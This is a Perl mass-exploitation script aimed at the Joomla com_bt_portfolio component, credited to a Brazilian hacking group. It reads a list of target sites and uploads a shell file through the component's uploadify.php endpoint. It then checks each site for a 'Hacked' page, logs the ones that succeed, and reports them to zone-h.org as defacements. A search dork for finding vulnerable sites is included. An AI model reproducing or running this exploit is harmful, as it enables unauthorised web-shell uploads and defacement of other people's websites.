joomla com_bt_portfolio

#!/usr/bin/perl
# Mass Exploiter & Auto Post Zone-h
# *** Brazilians hackers Team ***
# By ./ChmoD
# http://pastebin.com/u/brazilobscure1
# Youtube.com/BrazilObscure
# Modo De Usar ===> ./Exploit.pl
# Dork: inurl:/com_bt_portfolio

use HTTP::Request;
use LWP::Simple;
use HTTP::Request::Common;
$ua = LWP::UserAgent->new;

    print         "\n       ▒▒▒▒▒▒▒▓ \n";
        print        "      ▒▒▒▒▒▒▒▓▓▓ \n";
         print       "      ▒▓▓▓▓▓▓░░░▓ \n";
         print       "      ▒▓░░░░▓░░░░▓ \n";
         print       "      ▓░░░░░░▓░▓░▓ \n";
          print      "      ▓░░░░░░▓░░░▓ \n";
         print       "      ▓░░▓░░░▓▓▓▓ \n";
         print       "      ▒▓░░░░▓▒▒▒▒▓ \n";
         print       "      ▒▒▓▓▓▓▒▒▒▒▒▓ \n";
          print      "      ▒▒▒▒▒▒▒▒▓▓▓▓ \n";
         print       "      ▒▒▒▒▒▓▓▓▒▒▒▒▓ \n";
         print       "      ▒▒▒▒▓▒▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▒▒▓▒▒▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▒▓▒▒▒▒▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▓▒▓▒▒▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▓▒▓▓▓▓▓▓▓▓▓▓ \n";
         print       "      ▒▓▒▒▒▒▒▒▒▓ \n";
         print       "      ▒▒▓▒▒▒▒▒▓ \n";
print "\n\t[+] SUA LISTA : ";
$file=<STDIN>;
chomp($file);
open (file, "<$file") || die "\n[-] NAO FOI POSSIVEL ABRIR SUA LISTA !";
my @file = <file>;
close file;
foreach $webs (@file)
{
chomp $webs;
$site = $webs;
print  "\n[+] TESTANDO SITE --> $site\n";

$path = "/administrator/components/com_bt_portfolio/helpers/uploadify/uploadify.php";
$site_vul = "http://".$site."".$path;
$res = $ua->request(POST $site_vul,
Content_Type => 'form-data',
Content => [
Filedata => ["up.phtml"], #NOME DA SUA SHELL
],
);

$url = "http://".$site."/up.phtml"; #nome sua shell
$request = HTTP::Request->new(GET=>$url);
$useragent = LWP::UserAgent->new();
$response = $useragent->request($request);
$nullcracker = $response->content;
if ($nullcracker =~ /Hacked/){
print "[+] SUCESSO => $url\n";
zonpost();
open(BEN,">>resultado-$site.txt");
print BEN "$url\n";
close(BEN);
}else{
print "[-] EXPLOIT FALHOU ! \n";
}
}
sub zonpost{

$defacer="BrazilObscure";
$zn="http://zone-h.org/notify/single";
$lwp=LWP::UserAgent->new;
$res=$lwp -> post($zn,[
'defacer' => $def,
'domain1' => $url,
'hackmode' => '1',
'reason' => '1',
'submit' => 'Send',
]);
if ($res->content =~ /color="red">(.*)<\/font><\/li>/) {
print "[+] Zone-H => OK\n";
}
else
{
print "[-] Zone-H => Erro\n";
}

}